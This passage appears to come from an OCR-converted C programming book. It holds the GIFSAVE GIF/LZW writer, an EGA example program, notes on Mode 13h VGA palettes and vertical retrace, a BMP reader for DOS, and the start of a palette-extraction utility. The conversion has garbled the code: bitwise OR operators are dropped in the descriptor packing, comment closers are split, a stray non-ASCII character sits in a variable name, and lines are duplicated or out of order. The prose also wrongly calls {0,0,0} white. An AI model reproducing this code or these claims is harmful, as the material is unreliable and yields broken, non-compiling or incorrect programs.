/*=======================================================================
* LZW compression routine
*=======================================================================
*/
/*---------------------------------------------------------------------------
* NAME: LZW_Compress()
*
* DESCRIPTION: Perform LZW compression as specified in the
*
*
* PARAMETERS: codesize - Number of bits needed to represent
* one pixelvalue.
*
*
*
*

* RETURNS: GIF_OK - OK
* GIF_OUTMEM - Out of memory
*/
static int LZW_Compress(int codesize, int (*inputbyte)(void))
{
register int c;
register Word index;
int clearcode, endofinfo, numbits, limit, errcode;
Word prefix = 0xFFFF;
/* Set up the given outfile */
InitBitFile();
/*
    * Set up variables and tables
*/
clearcode = 1 << codesize;
endofinfo = clearcode + 1;
numbits = codesize + 1;
limit = (1 << numbits) - 1;
if ((errcode = AllocStrtab()) != GIF_OK)
return errcode;

```
```

ClearStrtab(codesize);
/*
* First send a code telling the unpacker to clear the stringtable.
*/
WriteBits(clearcode, numbits);
/*
* Pack image
*/
while ((c = inputbyte()) != -1) {
/*
* Now perform the packing.
* Check if the prefix + the new character is a string that
* exists in the table
*/
if ((index = FindCharString(prefix, c)) != 0xFFFF) {
/*
* The string exists in the table.
* Make this string the new prefix.
*/
prefix = index;
} else {
/*
* The string does not exist in the table.
* First write code of the old prefix to the file.
*/
WriteBits(prefix, numbits);
/*
* Add the new string (the prefix + the new character)
* to the stringtable.
*/
if (AddCharString(prefix, c) > limit) {
if (++numbits > 12) {
WriteBits(clearcode, numbits - 1);
ClearStrtab(codesize);
numbits = codesize + 1;
}
limit = (1 << numbits) - 1;
}
/*
* Set prefix to a string containing only the character
* read. Since all possible one-character strings exists
* int the table, there's no need to check if it is found.
*/

```

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```

            prefix = c;
        }
    }
    /*
    * End of info is reached. Write last prefix.
    */
    if (prefix != 0xFFFF)
        WriteBits(prefix, numbits);
    /*
    * Write end of info -mark.
    */
    WriteBits(endofinfo, numbits);
    /*
    * Flush the buffer
    */
    ResetOutBitFile();
    /*
    * Tidy up
    */
    FreeStrtab();
    return GIF_OK;
    }
/*=======================================================================
* Other routines
*======================================================================
*/
/*------------------------------------------------------------------------------
* NAME: BitsNeeded()
*
* DESCRIPTION: Calculates number of bits needed to store numbers
*
*
* PARAMETERS: n - Number of numbers to store (0 to n - 1)
*
* RETURNS: Number of bits needed
*/
static int BitsNeeded(Word n)
{
int ret = 1;

```
```

    if (!n--)
        return 0;
    while (n >>= 1)
        ++ret;
    return ret;
    }
/*---------------------------------

* N
* DESCRIPTION: Get next pixel from image. Called by the
* LZW_Compress()-function
* 
* PARAMETERS: None
* 
* RETURNS: Next pixelvalue, or -1 if no more pixels
*/
static int InputByte(void)
{
int ret;
if (RelPixY >= ImageHeight)
return -1;
ret = GetPixel(ImageLeft + RelPixX, ImageTop + RelPixY);
if (++RelPixX >= ImageWidth) {
RelPixX = 0;
++RelPixY;
}
return ret;
}
/*----------------------------------------------------------------------------
    * NAME: WriteScreenDescriptor()
* 
* DESCRIPTION: Output a screen descriptor to the current GIF-file
* 
* PARAMETERS: sd - Pointer to screen descriptor to output
* RETURNS: GIF OK - OK
* GIF_ERRWRITE - Error writing to the file
*/

```

\section*{200 A to Z of C}
```

static int WriteScreenDescriptor(ScreenDescriptor *sd)
{
Byte tmp;
if (WriteWord(sd->LocalScreenWidth) != GIF_OK)
return GIF_ERRWRITE;
if (WriteWord(sd->LocalScreenHeight) != GIF_OK)
return GIF_ERRWRITE;
tmp = (sd->GlobalColorTableFlag << 7)
(sd->ColorResolution << 4)
(sd->SortFlag << 3)
sd->GlobalColorTableSize;
if (WriteByte(tmp) != GIF_OK)
return GIF_ERRWRITE;
if (WriteByte(sd->BackgroundColorIndex) != GIF_OK)
return GIF_ERRWRITE;
if (WriteByte(sd->PixelAspectRatio) != GIF_OK)
return GIF_ERRWRITE;
return GIF_OK;
}
/*-------------------------------------------------------------------------------
* NAME: WriteImageDescriptor()
*
* DESCRIPTION: Output an image descriptor to the current GIF-file
*
* PARAMETERS: id - Pointer to image descriptor to output
*

* RETURNS: GIF_OK - OK
* GIF_ERRWRITE - Error writing to the file
*/
static int WriteImageDescriptor(ImageDescriptor *id)
{
Byte tmp;
if (WriteByte(id->Separator) != GIF_OK)
return GIF_ERRWRITE;
if (WriteWord(id->LeftPosition) != GIF_OK)
return GIF_ERRWRITE;
if (WriteWord(id->TopPosition) != GIF_OK)
return GIF_ERRWRITE;
if (WriteWord(id->Width) != GIF_OK)
return GIF_ERRWRITE;
if (WriteWord(id->Height) != GIF_OK)
return GIF_ERRWRITE;

```
```

    tmp = (id->LocalColorTableFlag << 7)
        (id->InterlaceFlag << 6)
        (id->SortFlag << 5)
        (id->Reserved << 3)
        id->LocalColorTableSize;
    if (WriteByte(tmp) != GIF_OK)
        return GIF_ERRWRITE;
    return GIF_OK;
    }
/*********************************************************************
* P U B L I C F U N C T I O N S
|*--------------------------------------------------------------------------
* NAME: GIF_Create()
*
* DESCRIPTION: Create a GIF-file, and write headers for both screen
* and image.
*
* PARAMETERS: filename - Name of file to create (including
*
* width - Number of horisontal pixels on screen
* height - Number of vertical pixels on screen
* numcolors - Number of colors in the colormaps
* colorres - Color resolution. Number of bits for
*
*
* RETURNS: GIF_OK - OK
* GIF_ERRCREATE - Couldn't create file
* GIF_ERRWRITE - Error writing to the file
* GIF_OUTMEM - Out of memory allocating color table
*/
int GIF_Create(char *filename, int width, int height,
int numcolors, int colorres)
{
int q, tabsize;
Byte *bp;
ScreenDescriptor SD;
/*
* Initiate variables for new GIF-file
*/
NumColors = numcolors ? (1 << BitsNeeded(numcolors)) : 0;
BitsPrPrimColor = colorres;
ScreenHeight = height;
ScreenWidth = width;

```

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```

    /*
    * Create file specified
    */
    if (Create(filename) != GIF_OK)
        return GIF_ERRCREATE;
    /*
    * Write GIF signature
    * /
    if ((Write("GIF87a", 6)) != GIF_OK)
        return GIF_ERRWRITE;
    /*
    * Initiate and write screen descriptor
    */
    SD.LocalScreenWidth = width;
    SD.LocalScreenHeight = height;
    if (NumColors) {
        SD.GlobalColorTableSize = BitsNeeded(NumColors) - 1;
        SD.GlobalColorTableFlag = 1;
    } else {
        SD.GlobalColorTableSize = 0;
        SD.GlobalColorTableFlag = 0;
    }
SD.SortFlag = 0;
SD.ColorResolution = colorres - 1;
SD.BackgroundColorIndex = 0;
SD.PixelAspectRatio = 0;
if (WriteScreenDescriptor(\&SD) != GIF_OK)
return GIF_ERRWRITE;
/*
* Allocate color table
*/
if (ColorTable) {
free(ColorTable);
ColorTable = NULL;
}
if (NumColors) {
tabsize = NumColors * 3;
if ((ColorTable = (Byte *) malloc(tabsize * sizeof(Byte))) ==
NULL )
return GIF_OUTMEM;
else {
bp = ColorTable;

```
```

            for (q = 0; q < tabsize; q++)
            *bp++ = 0;
        }
    }
    return 0;
    }
/*---------------------------------------------------------------------------
* NAME: GIF_SetColor()
DESCRIPTION: Set red, green and blue components of one of the
colors. The color components are all in the range
[0, (1 << BitsPrPrimColor) - 1]
PARAMETERS: colornum - Color number to set. [0, NumColors - 1]
red - Red component of color
green - Green component of color
blue - Blue component of color
* RETURNS: Nothing

* /
void GIF_SetColor(int colornum, int red, int green, int blue)
{
long maxcolor;
Byte *p;
maxcolor = (1L << BitsPrPrimColor) - 1L;
p = ColorTable + colornum * 3;
*p++ = (Byte) ((red * 255L) / maxcolor);
*p++ = (Byte) ((green * 255L) / maxcolor);
*p++ = (Byte) ((blue * 255L) / maxcolor);
}
/*
    * NAME: GIF_CompressImage ()

```
* DESCRIPTION: Compress an image into the GIF-file previousely

GIF_CompressImage () created using GIF_Create(). All color values should have been specified before this function is called.

The pixels are retrieved using a user defined callback function. This function should accept two parameters, \(x\) and \(y\), specifying which pixel to retrieve. The pixel values sent to this function are as follows:
x : [ImageLeft, ImageLeft + ImageWidth - 1]

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```

                        y : [ImageTop, ImageTop + ImageHeight - 1]
                    The function should return the pixel value for the
                    point given, in the interval [0, NumColors - 1]
    PARAMETERS: left - Screen-relative leftmost pixel
x-coordinate of the image
top - Screen-relative uppermost pixel
y-coordinate of the image
width - Width of the image, or -1 if as wide as
the screen
height - Height of the image, or -1 if as high as
the screen
getpixel - Address of user defined callback
function.
(See above)
RETURNS: GIF_OK - OK
GIF_OUTMEM - Out of memory
GIF_ERRWRITE - Error writing to the file
int GIF_CompressImage(int left, int top, int width, int height,
int (*getpixel)(int x, int y))
int codesize, errcode;
ImageDescriptor ID;
if (width < 0) {
width = ScreenWidth;
left = 0;
}
if (height < 0) {
height = ScreenHeight;
top = 0;
}
if (left < 0)
left = 0;
if (top < 0)
top = 0;
/*
* Write global colortable if any
*/
if (NumColors)
if ((Write(ColorTable, NumColors * 3)) != GIF_OK)

```
\{
```

                return GIF_ERRWRITE;
    /*
    * Initiate and write image descriptor
    */
    ID.Separator = ',';
    ID.LeftPosition = ImageLeft = left;
    ID.TopPosition = ImageTop = top;
    ID.Width = ImageWidth = width;
    ID.Height = ImageHeight = height;
    ID.LocalColorTableSize = 0;
    ID.Reserved = 0;
    ID.SortFlag = 0;
    ID.InterlaceFlag = 0;
    ID.LocalColorTableFlag = 0;
    if (WriteImageDescriptor(&ID) != GIF_OK)
        return GIF_ERRWRITE;
    /*
    * Write code size
    */
    codesize = BitsNeeded(NumColors);
    if (codesize == 1)
        ++codesize;
    if (WriteByte(codesize) != GIF_OK)
        return GIF_ERRWRITE;
    /*
    * Perform compression
    */
    RelPixX = RelPixY = 0;
    GetPixel = getpixel;
    if ((errcode = LZW_Compress(codesize, InputByte)) != GIF_OK)
        return errcode;
    /*
    * Write terminating 0-byte
    */
    if (WriteByte(0) != GIF_OK)
        return GIF_ERRWRITE;
    return GIF_OK;
    }
/*------------------------------------------------------------------------------
* NAME:
GIF_Close()

```

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```

* DESCRIPTION: Close the GIF-file
* 
* PARAMETERS: None
* 
* RETURNS: GIF_OK - OK
* 

*/
int GIF_Close(void)
{
ImageDescriptor ID;
/*
* Initiate and write ending image descriptor
*/
ID.Separator = ';';
if (WriteImageDescriptor(\&ID) != GIF_OK)
return GIF_ERRWRITE;
/*
* Close file
*/
Close();
/*
* Release color table
*/
if (ColorTable) {
free(ColorTable);
ColorTable = NULL;
}
return GIF_OK;
}

```

Compile the above Gifsave.c file to create the Gifsave.lib file. Using Gifsave.lib \& Gifsave.h files we can create GIF files quickly.

\subsection*{31.5 Example usage of GIFSAVE}

Following example code shows how to use the GIFSAVE library in our program to create a GIF file.

```

/****************************************************************************
* FILE: EXAMPLE.C
*

* MODULE OF: EXAMPLE
* 
* DESCRIPTION: Example program using GIFSAVE.
* 
* 

Produces output to an EGA-screen, then dumps it to
a GIF-file.
*/
\#ifndef
TURBOC
\#error This program must be compiled using a Borland C compiler
\#endif
\#include <stdlib.h>
\#include <stdio.h>
\#include <graphics.h>
\#include "gifsave.h"
/**************************************************************************
* P R I V A T E F U N C T I O N S
*/
/*------------------------------------------------------------------------------
* NAME: DrawScreen()
*
* DESCRIPTION: Produces some output on the graphic screen.
*
* PARAMETERS: None
*
* RETURNS: Nothing
*/
static void DrawScreen(void)
{
int color = 1, x, y;
char *text = "GIF-file produced by GIFSAVE";
/*
* Output some lines
*/
setlinestyle(SOLID_LINE, 0, 3);
for (x = 10; x < getmaxx(); x += 20) {
setcolor(color);

```

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```

        line(x, 0, x, getmaxy());
        if (++color > getmaxcolor())
        color = 1;
    }
    for (y = 8; y < getmaxy(); y += 17) {
        setcolor(color);
        line(0, y, getmaxx(), y);
        if (++color > getmaxcolor())
            color = 1;
    }
    /*
    * And then some text
    */
    setfillstyle(SOLID_FILL, DARKGRAY);
    settextstyle(TRIPLEX_FONT, HORIZ_DIR, 4);
    bar(20, 10, textwidth(text) + 40, textheight(text) + 20);
    setcolor(WHITE);
    outtextxy(30, 10, text);
    }
/*-------------------------------------------------------------------------------
* NAME: gpixel()

* PARAMETERS: As for getpixel()
*     * RETURNS: As for getpixel()
*/
{
return getpixel(x, y);
}

NAME :

* DESCRIPTION:
gpixel()

Callback function. Near version of getpixel()

If this program is compiled with a model using far code, Borland's getpixel() can be used directly.

As for getpixel()

RETURNS: As for getpixel()

```
static int gpixel(int x, int y)
```

```
static int gpixel(int x, int y)
```



```
    * NAME: GIF_DumpEga10()
```

    * NAME: GIF_DumpEga10()
    *
    *
    * DESCRIPTION: Outputs a graphics screen to a GIF-file. The screen
    ```
    * DESCRIPTION: Outputs a graphics screen to a GIF-file. The screen
```

```
must be in the mode 0x10, EGA 640x350, 16 colors.
```

must be in the mode 0x10, EGA 640x350, 16 colors.
No error checking is done! Probably not a very good
No error checking is done! Probably not a very good
208

```
                                    208
```

```
* example, then . . . :-)
*
* PARAMETERS: filename - Name of GIF-file
*
* RETURNS: Nothing
*/
static void GIF_DumpEga10(char *filename)
{
    #define WIDTH 640 /* 640 pixels across screen */
    #define HEIGHT 350 /* 350 pixels down screen */
    #define NUMCOLORS 16 /* Number of different colors */
    #define BITS_PR_PRIM_COLOR 2 /* Two bits pr primary color */
        int q, /* Counter */
                color, /* Temporary color value */
                red[NUMCOLORS], /* Red component for each color */
                green[NUMCOLORS], /* Green component for each color */
                blue[NUMCOLORS]; /* Blue component for each color */
                struct palettetype pal;
                /*
            * Get the color palette, and extract the red, green and blue
            * components for each color. In the EGA palette, colors are
            * stored as bits in bytes:
            *
            * 00rgbRGB
            *
            * where r is low intensity red, R is high intensity red, etc.
            * We shift the bits in place like
            *
            * 000000Rr
            *
            * for each component
            */
                getpalette(&pal);
                for (q = 0; q < NUMCOLORS; q++) {
            color = pal.colors[q];
            red[q] = ((color & 4) >> 1) ((color & 32) >> 5);
            green[q] = ((color & 2) >> 0) ((color & 16) >> 4);
            blue[q] = ((color & 1) << 1) | ((color & 8) >> 3);
                }
            /*
            * Create and set up the GIF-file
            */
        GIF_Create(filename, WIDTH, HEIGHT, NUMCOLORS, BITS_PR_PRIM_COLOR);

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```

    /*
    * Set each color according to the values extracted from
    * the palette
    */
    for (q = 0; q < NUMCOLORS; q++)
        GIF_SetColor(q, red[q], green[q], blue[q]);
    /*
    * Store the entire screen as an image using the user defined
    * callback function gpixel() to get pixel values from the screen
    */
    GIF_CompressImage(0, 0, -1, -1, gpixel);
    /*
    * Finish it all and close the file
    */
    GIF_Close();
    }
/*****************************************************************************
P U B L I C F U N C T I O N S
*/
int main(void)
{
int gdr, gmd, errcode;
/* Initiate graphics screen for EGA mode 0x10, 640x350x16 */
gdr = EGA;
gmd = EGAHI;
initgraph(\&gdr, \&gmd, "");
if ((errcode = graphresult()) != grOk) {
printf("Graphics error: %s\n", grapherrormsg(errcode));
exit(-1);
}
/* Put something on the screen */
DrawScreen();
/* Dump the screen to a GIF-file */
GIF_DumpEga10("EXAMPLE.GIF");
/* Return to text mode */
closegraph();
return 0;
}

```

\section*{Mode 13h Programming}

Mode 13 h is considered to be the standard mode for graphics programming under DOS. Mode 13 h programming is also referred as VGA programming or VGA register programming. Almost all DOS Game software uses this mode 13 h .

\subsection*{32.1 Mode 13h}

\subsection*{32.1.1 Palette Register}

Mode 13 h is supported by VGA cards. In this mode, we've got 256 colors and \(320 \times 200\) pixel resolution. And thus it is sometimes referred as \(320 \times 200 \times 256\) mode.

In this mode 13 h , we have \(320 \times 200=64,000\) pixels. Each pixel takes 1 byte ( 8 bits) each. One important thing: these bytes do not hold color values; instead hold pointer or index to the color-lookup table. This lookup table is technically referred as 'palette registers'. This lookup table is an array of 256 colors, each with 3 bytes. The structure of lookup table or palette register will be:


Note
For the sake of simplicity, palette register is very often referred as a single dimensional array : palette[768].

Palette[255]
Palette[254]

Palette[0]
\begin{tabular}{|c|c|c|}
\hline Red & Green & Blue \\
\hline & \multicolumn{3}{|c|}{} \\
\hline & \multicolumn{3}{|c|}{} \\
\hline & \(\vdots\) & \\
\hline 6 bits & 6 bits & 6 bits \\
\hline
\end{tabular}

Here the 3 bytes hold Red, Green \& Blue values. For example \(\{0,0,0\}\) represents White. Important note: VGA uses only 6 bits in each Red, Green \& Blue bytes. So we can use \(2^{6}\) combination of Red, \(2^{6}\) combination of Green, \(2^{6}\) combination of Blue values. And we have the maximum of \(2^{6} \times 2^{6} \times 2^{6}=262144\) colors. Thus at a given time, the screen can have maximum of 256 colors out of the possible 262144 combination.

The next question is how to set these palette registers? We can use BIOS interrupts to set the palette registers. But it would be very slow and not good for professional programming. So we directly use the palette registers found on our VGA card. Palette registers are accessed via port 3 C 8 h and 3 C 9 h . First, we have to send 0 to port 3 C 8 h and then the corresponding pixel values to port 3 C 9 h . The sequences of operations should be:
1. OUT 0 at port 3 C 8 h
2. OUT all pixel values one by one at port 3C9h (There would be 768 OUTs)

Another important point I want to insist is: loading palette registers refers to choosing 256 colors out of 262144 possible combinations and the screen holds just index or pointer to the look up table.

\subsection*{32.1.2 Vertical Retrace}

The electron gun in our monitor refreshes each pixel with their current and correct values according to the refresh rate. The refresh rate may vary from system to system and usually it is 60 Hz i.e., each pixel is refreshed in \(1 / 60^{\text {th }}\) of a second. The electron gun fires electron at each pixel, row by row. Horizontal retrace is the time the electron gun takes to return from the right to left side of the screen after it has traced a row. For mode 13 h programming, we don't bother about horizontal retrace.

Vertical retrace is the very short time in which the electron gun moves diagonally to the upper-left corner from the bottom-right corner of the screen, after tracing the entire screen. During the vertical retrace the screen is not being updated from video memory to monitor. So during this time if we update the screen, it won't result in flickering. In other words, you may get flickering if you don't consider vertical retrace. On the fast computers available today, it is not a big problem. However it wise to consider vertical retrace for good portability.

We can check the vertical retrace by noticing the value of the INPUT_STATUS ( \(0 \times 3\) DA) port on the VGA card. This is a number that represents the VGA's current state. Bit 3 tells if it is in a vertical blank. We first wait until it is not blanking; to make sure we get a full vertical blank time for our copy. Then we wait for a vertical blank. Now that we can update the whole screen. The following code fragment explains the concept.
```

\#define INPUT_STATUS (0x3DA)
/* copy the off screen buffer to video memory */

```
```

void UpdateBuffer(void)
{
// wait for vertical re-trace
while ( inportb(INPUT_STATUS) \& (1<<3) )
;
while ( !(inportb(INPUT_STATUS) \& (1<<3)) )
;
/* Now, copy everything to video memory */
_fmemcpy( video_memory, off_screen, screen_size);
}

```

\subsection*{32.2 Optimization Note}

When you program in mode 13 h , you must understand the fact that our system RAM is faster than the video RAM. So real graphics programmers use a separate buffer (which will be stored in system RAM) for operations on the pixel values. And whenever the buffer value gets changed, it is being updated to the video RAM.

We may need to use mathematical functions like \(\cos (\) ), \(\sin ()\) etc with our graphics program for certain purpose. These functions would take more time to calculate. So it is wise to store the corresponding values in array when you begin your program. Now you can fetch the values for a given angle as \(\cos [30]\) instead of \(\cos (30)\). It would almost double the speed of your program.

\section*{33} "Love is not rude, is not selfish, and does not get upset with others."

\section*{Reading BMP Files}

When you look at the BMP file format closely, you can find that BMP stores palette information in it. So in order to display BMP files, we must load that palette information. When we read a BMP file in mode 13h we have two restrictions: maximum color of BMP must be 256 (BMP files can be of 16,256 or \(2^{24}\) colors!) and file size must be less than 64 KB . The following program by Alexander Russell reads 256 colors BMP file. It clips images larger than \(320 \times 200\). It reads the whole thing into memory, and then displays it directly to video memory.

\subsection*{33.1 Programs}
```

\#include <stdio.h>
\#include <io.h>
\#include <conio.h>
\#include <malloc.h>
\#include <string.h>
\#include <dos.h>
\#pragma -mm /* force to compile in medium memory model */
\#pragma inline
\#define _64k 65300u
\#define BM_TYPE 19778u
\#define BI_RGB OL
\#define BI_RLE8 1L
\#define BI_RLE4 2L
typedef unsigned int WORD;
typedef unsigned long DWORD;
typedef unsigned char BYTE;
typedef struct tagBITMAPFILEHEADER {
WORD bfType;
DWORD bfSize;
WORD bfReserved1;
WORD bfReserved2;

```
```

    DWORD bfOffBits;
    } BITMAPFILEHEADER;
typedef struct tagBITMAPINFOHEADER{
DWORD biSize;
DWORD biWidth;
DWORD biHeight;
WORD biPlanes;
WORD biBitCount;
DWORD biCompression;
DWORD biSizeImage;
DWORD biXPelsPerMeter;
DWORD biYPelsPerMeter;
DWORD biClrUsed;
DWORD biClrImportant;
} BITMAP INFOHEADER;
typedef struct tagRGBQUAD {
BYTE rgbBlue;
BYTE rgbGreen;
BYTE rgbRed;
BYTE rgbReserved;
} RGBQUAD;
typedef struct tagBITMAPINFO {
BITMAPINFOHEADER bmiHeader;
RGBQUAD bmiColors[1];
} BITMAPINFO;
static BYTE old_mode;
\#define INPUT_STATUS_1 03dah /* Input Status 1 register */
/*
SaveVideoMode - save the vid mode so
we can restore it on exit */
void SaveVideoMode( void )
{
/* save current mode */
asm {
mov ah, 0fh
int 10h
mov old_mode, al
}
} /*--SaveVideoMode( ) ------* /

```

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```

/*
SetGraph - set graphics mode to
mode BIOS 0x13, 320x200 256 color */
short SetGraph( void )
{
asm {
/* set new mode */
xor ah, ah
mov al, 013h
int 10h
}
return(0);
} /*--SetGraph( ) --------* /
/*
RestoreVideoMode - restore old video
mode */
void RestoreVideoMode( void )
{
asm {
xor ah, ah
mov al, old_mode
int 10h
}
} /*--RestoreVideoMode( ) -------*/
/*---------------------------------------------------------------
SetUpVGAPalette - set all 256 colours of the
palette, wait for vert sync to avoid flashing */
void SetUpVGAPalette( char *p )
{
/* wait for vert sync */
asm {
mov dx,INPUT_STATUS_1
}
WaitVS:
asm {
in al,dx
test al,08h
jz WaitVS /* vertical sync is active high (1 = active) */
}

```
```

    asm {
        . 386
    /* this sets the default palette register mask, don't need to do
this unless it gets changed
mov dx, 03c6h
mov al, 0ffh
out dx, al
*/
/* set palette, using auto-increment feature */
xor al, al
mov dx, 03c8h
out dx, al
mov cx, 768
mov si, p
mov dx, 03c9h
rep outsb
}
} /*--SetUpVGAPalette( ) ----------*/
FarFread - returns number of bytes read
I compiled this in medium model, so fread
expects a near pointer.
This let's me read the file into far memory. */
int FarFread( BYTE far *b, WORD size, FILE *fp )
{
BYTE *t;
unsigned int i;
WORD read;
t=malloc(1024); // temp buffer
if ( t )
{
read=0;
i=0;
// read into a near buffer, and then copy to the far buffer
while ( size >= 1024 )
{
i=fread(t, 1, 1024, fp);
read+=i;
_fmemcpy(b, t, i);
b+=i;
size-=i;

```

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```

        if ( i != 1024 )
            break;
        }
            i=fread(t, 1, size, fp);
            read+=i;
            _fmemcpy(b, t, i);
            free(t);
            }
    else
            read=0;
    return(read);
    } /*--FarFread( )-------*/
/*
DecompressOneLineBMP
decompress one line of a 256 colour bmp into line
returns where we ended up in rp which is the raw image
width is max line width, i_size is how much data we read in */
BYTE far *DecompressOneLineBMP( BYTE far *rp,
BYTE far *line,
long *i_size, short width )
{
long size=0;
BYTE num;
short w=0;
int odd;
width+=3; // just to make sure we don't over run line
// which would crash us, only a bad bmp would cause this
while ( w < width )
{
if ( *rp ) /* first byte isn't zero,
so it is a run of identical pixels */
{
// RLE run
num=*rp;
rp++;
size++;
w+=num;
while ( num )
{
*line++=*rp;

```
```

        num--;
        }
    rp++;
    size++;
    }
    else
// zero, either escape sequence, or string of random pixels
rp++;
size++;
switch ( *rp )
{
case 0: // end of line, we are done
rp++;
size++;
*i_size-=size;
return rp;
//break;
case 1: // end of bitmap
rp++;
*i_size=0;
return rp;
//break;
case 2: // delta! - we do not handle this
// this makes the x,y jump to a new place
rp++;
size++;
break;
default: // string, 3 thru 0xff
// a string of random pixels
num=*rp;
rp++;
size++;
size+=num;
w+=num;
odd=num \& 1; // pads odd runs
while ( num )
{
*line++=*rp++;
num--;
}
if ( odd ) // odd strings are padded to make them even
{ // this skips the padding byte
rp++;

```
```

                size++;
                }
                    break;
                }
                }
                }
    // should never get here actually, as each line ends with a EOL
    *i_size-=size;
    return(rp);
    } /*--DecompressOneLineBMP ( ) -----------**

```
```

/*-------------------------------------------

```
/*-------------------------------------------
    main - main of BMP */
    main - main of BMP */
int main( int argc, char *argv[] )
{
    BITMAPFILEHEADER far *header;
    BITMAPINFOHEADER far *info;
    RGBQUAD far *rgb;
    FILE *fp;
    long size;
    long i_size, l1;
    short num_col;
    unsigned int m, w_copy;
    BYTE far *buff, far *rp, far *line;
    int i, adj;
    BYTE pal[768], *t1;
    BYTE far *video;
    if ( argc < 2 )
        printf( "Usge: BMP <bmpfile> \n\a" );
    else
        {
        fp=fopen(argv[1], "rb");
        if ( fp )
            {
            size=filelength(fileno(fp));
            if ( size > _64k )
                {
            printf( "DARN it! DOS SUCKS! file size greater"
                        "than %u bytes! - TRUNCATING!\n", _64k);
                size=_64k;
                }
            buff=farmalloc(size);
            if ( buff )
                {
```

```
m=FarFread(buff, size, fp); // read as much as we can into mem
    if ( m != size )
        printf("Error reading: %s\n", argv[1]);
else
    {
    // make header, and info point to the correct place
    header=buff;
    info=buff + sizeof(BITMAPFILEHEADER);
    /* this is demo code, so let's display all
            the header information. */
    printf("type %u\n", header->bfType);
    printf("size %lu\n", header->bfSize);
    printf("Offset %lu\n", header->bfOffBits);
    printf("Filesize %lu (%u indicates truncated)\n\n",
                                    size, _64k);
    printf("biSize =%lu (%d)\n", info->biSize,
        sizeof(BITMAPINFOHEADER));
    printf("biWidth =%lu\n", info->biWidth);
    printf("biHeight =%lu\n", info->biHeight);
    printf("biPlanes =%u\n", info->biPlanes);
    printf("biBitCount =%u\n", info->biBitCount);
    printf("biCompression =%lu\n", info->biCompression);
    printf("biSizeImage =%lu\n", info->biSizeImage);
    printf("biXPelsPerMeter =%lu\n", info->biXPelsPerMeter);
    printf("biYPelsPerMeter =%lu\n", info->biYPelsPerMeter);
    printf("biClrUsed =%lu\n", info->biClrUsed);
    printf("biClrImportant =%lu\n", info->biClrImportant);
    if ( header->bfType != BM_TYPE )
                                    printf("%s is not a bmp!\n", argv[1]);
    else
    {
    // lets display it!
    // We only handle 256 colour types with this code!
    if ( info->biPlanes == 1 && info->biBitCount == 8 )
                {
            // get and set palette info
            // colour table
            rgb=(RGBQUAD far *)((BYTE far *)info + info->biSize);
                num_col=info->biClrUsed ? info->biClrUsed : 256;
                printf("num_col = %d\n", num_col);
                // have to shift because vga uses 6 bits only
                    t1=pal;
```

```
for ( i=0; i < num_col; i++ )
    {
        *t1++=(rgb[i].rgbRed) >> 2;
        *t1++=(rgb[i].rgbGreen) >> 2;
        *七1++=(rgb[i].rgbBlue) >> 2;
    }
printf("Press a key to view image,"
    " then again to exit\n");
        getch();
SaveVideoMode();
SetGraph();
SetUpVGAPalette(pal);
/* get, de-compress, and display
    note, bmp stores the image 'upside down' */
// point to bottom of screen
video=MK_FP( 0xa000, 320u*199u );
rp=buff + header->bfOffBits; // Raw Pointer to image
// NOTE! if bisizeImage is zero, l1 must be used
i_size=info->biSizeImage;
// this is because we truncate large images
ll=size - (sizeof(BITMAPFILEHEADER) +
                                    sizeof(BITMAPINFOHEADER) + num_col*4);
    if ( i_size > l1 || i_size == 0 )
        i_size=l1;
    // clip width
    if ( info->biWidth <= 320 )
        w_copy=info->biWidth;
    else
        w_copy=320;
        if ( info->biCompression == BI_RLE8 )
        {
        // we will decompress one line at a time,
        // then clip and display it
        line=farmalloc(info->biWidth+4);
```

```
            if ( line )
            {
            for ( i=0; i < info->biHeight && i < 200
                                    && i_size > 0; i++ )
                {
            rp=DecompressOneLineBMP (rp, line, &i_size,
                                    info->biWidth);
                                _fmemcpy(video, line, w_copy);
                                video-=320;
                }
            farfree(line);
            }
            }
            else
                {
            // not compressed, simply copy to video mem
            //pads to multiple of 4 bytes
            adj=info->biWidth % 4;
                if ( adj )
                    adj=4 - adj;
            if ( info->biCompression == BI_RGB )
            {
            for ( i=0; i < info->biHeight && i < 200
                                    && i_size > 319; i++ )
                                    {
                        _fmemcpy(video, rp, w_copy);
                                video-=320;
                                rp+=info->biWidth;
                                rp+=adj;
                                i_size-=info->biWidth;
                                i_size-=adj;
                                }
            }
                        }
            getch();
        RestoreVideoMode();
            }
                else
            printf("This code only does 256 colour BMP's\n");
    }
        }
farfree(buff);
}
```


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```
            else
                                    printf("OUT of mem!\n");
                    fclose(fp);
                    }
        else
                printf("ERROR opening file: %s\n", argv[1]);
            }
    return(0);
} /*--main( )--------*/
```


## 34 "Love never fails." <br> Fire

Beginners of mode 13 h programming will always try to do fire program. It is of course an easy program. In order to set palette registers, we must know what are all the colors used by 'Fire'. After setting palette registers and loading the screen values, we can generate a "firing" screen with certain logic.

### 34.1 Extracting Palette

We can manually find out the colors used by "Fire" (image). But it is quite tedious. Instead, we can extract palette information from a BMP file that has the 'fire' image.

### 34.1.1 PAL Utility

The following code fragment extracts palette information from a known BMP file (Fire.bmp) and saves in another file (Fire.pal). This palette (Fire.pal) file can then be included in our main-fire program.

Let's call the following program as PAL utility!

```
/*---------------------------------------------------------------
    PAL - utility to extract palette from a BMP file
    *_--
    * /
#include <stdio.h>
#define BM_TYPE 19778u
typedef unsigned int WORD;
typedef unsigned long DWORD;
typedef unsigned char BYTE;
typedef struct tagBITMAPFILEHEADER
{
    WORD bftype;
    DWORD bfSize;
    WORD bfReserved1;
    WORD bfReserved2;
    DWORD bfOffBits;
} BITMAPFILEHEADER;
```


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```
typedef struct tagBITMAPINFOHEADER
{
    DWORD biSize;
    DWORD biWidth;
    DWORD biHeight;
    WORD biPlanes;
    WORD biBitCount;
    DWORD biCompression;
    DWORD biSizeImage;
    DWORD biXPelsPerMeter;
    DWORD biYPelsPerMeter;
    DWORD biClrUsed;
    DWORD biClrImportant;
} BITMAPINFOHEADER;
typedef struct tagRGBQUAD {
    BYTE rgbBlue;
    BYTE rgbGreen;
    BYTE rgbRed;
    BYTE rgbReserved;
} RGBQUAD;
int main( int argc, char *argv[] )
{
    BITMAPFILEHEADER fheader, *header = &fheader;
    BITMAPINFOHEADER finfo, *info = &finfo;
    RGBQUAD trgb, *rgb = &trgb;
    FILE *bfp, *pfp;
    short num_col;
    int i;
    if ( argc < 3 )
        {
            printf( "Usage: PAL file.bmp palfile\n\a" );
            exit( 1 );
        }
    bfp = fopen( argv[1], "rb" );
    pfp = fopen( argv[2], "w" );
    if ( bfp==NULL || pfp==NULL )
        {
            printf( "File Error!\n\a" );
            exit( 1 );
        }
